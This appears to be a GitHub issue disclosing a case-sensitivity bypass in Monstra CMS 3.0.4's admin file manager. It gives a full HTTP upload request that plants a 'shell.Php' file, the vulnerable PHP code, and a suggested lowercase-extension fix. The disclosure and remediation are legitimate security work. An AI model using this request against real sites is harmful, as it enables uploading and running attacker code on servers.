Skip to content

Monstra 3.0.4 case without filtering leads to unrestricted file upload vulnerability #471

@wuhuaviator

Description

@wuhuaviator

Brief of this vulnerability

The Monstra 3.0.4 source code does not filter the case of php, which leads to an unrestricted file upload vulnerability.

Test Environment

Apache/2.4.41 (Ubuntu20.04)
PHP 7.4.3

Affect version

<=3.0.4

POC

POST /monstra/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
Host: localhost:80
Content-Length: 442
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:65003
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD6KF8q8SlXAspgP7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:65003/monstra/admin/index.php?id=filesmanager&path=uploads/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nlofifites91aq2tsi1s520298
Connection: close

------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="csrf"

8ff9a93b1f09f4dfa18e06c201b7355e602ea9ce
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="file"; filename="shell.Php"
Content-Type: text/plain

<?php echo "This is a test";?>
------WebKitFormBoundaryD6KF8q8SlXAspgP7
Content-Disposition: form-data; name="upload_file"

上传
------WebKitFormBoundaryD6KF8q8SlXAspgP7--


Execute successfully

Reason of This Vulnerability

$_FILES['file']['name'] in the Upload file module does not check whether the file extension is case,Vulnerability file:/plugins/box/filesmanager/filesmanager.admin.php

        // Upload file
        // -------------------------------------
        if (Request::post('upload_file')) {

            if (Security::check(Request::post('csrf'))) {

                $error = false;
                if ($_FILES['file']) {
                    if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
                        $filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
                        $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
                        if ($uploaded !== false && is_file($filepath)) {
                            Notification::set('success', __('File was uploaded', 'filesmanager'));
                        } else {
                            $error = 'File was not uploaded';
                        }
                    } else {
                        $error = 'Forbidden file type';
                    }
                } else {
                    $error = 'File was not uploaded';
                }

                if ($error) {
                    Notification::set('error', __($error, 'filesmanager'));
                }

                if (Request::post('dragndrop')) {
                    Request::shutdown();
                } else {
                    Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
                }
            } else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
        }

Repair suggestions

Add case verification at $_FILES['file']['name'], as follows:

        // Upload file
        // -------------------------------------
        if (Request::post('upload_file')) {

            if (Security::check(Request::post('csrf'))) {

                $error = false;
                if ($_FILES['file']) {
					$_FILES['file']['name']=strtolower($_FILES['file']['name']);  //Change uppercase to lowercase
                    if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
                        $filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
                        $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
                        if ($uploaded !== false && is_file($filepath)) {
                            Notification::set('success', __('File was uploaded', 'filesmanager'));
                        } else {
                            $error = 'File was not uploaded';
                        }
                    } else {
                        $error = 'Forbidden file type';
                    }
                } else {
                    $error = 'File was not uploaded';
                }

                if ($error) {
                    Notification::set('error', __($error, 'filesmanager'));
                }

                if (Request::post('dragndrop')) {
                    Request::shutdown();
                } else {
                    Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
                }
            } else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
        }

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions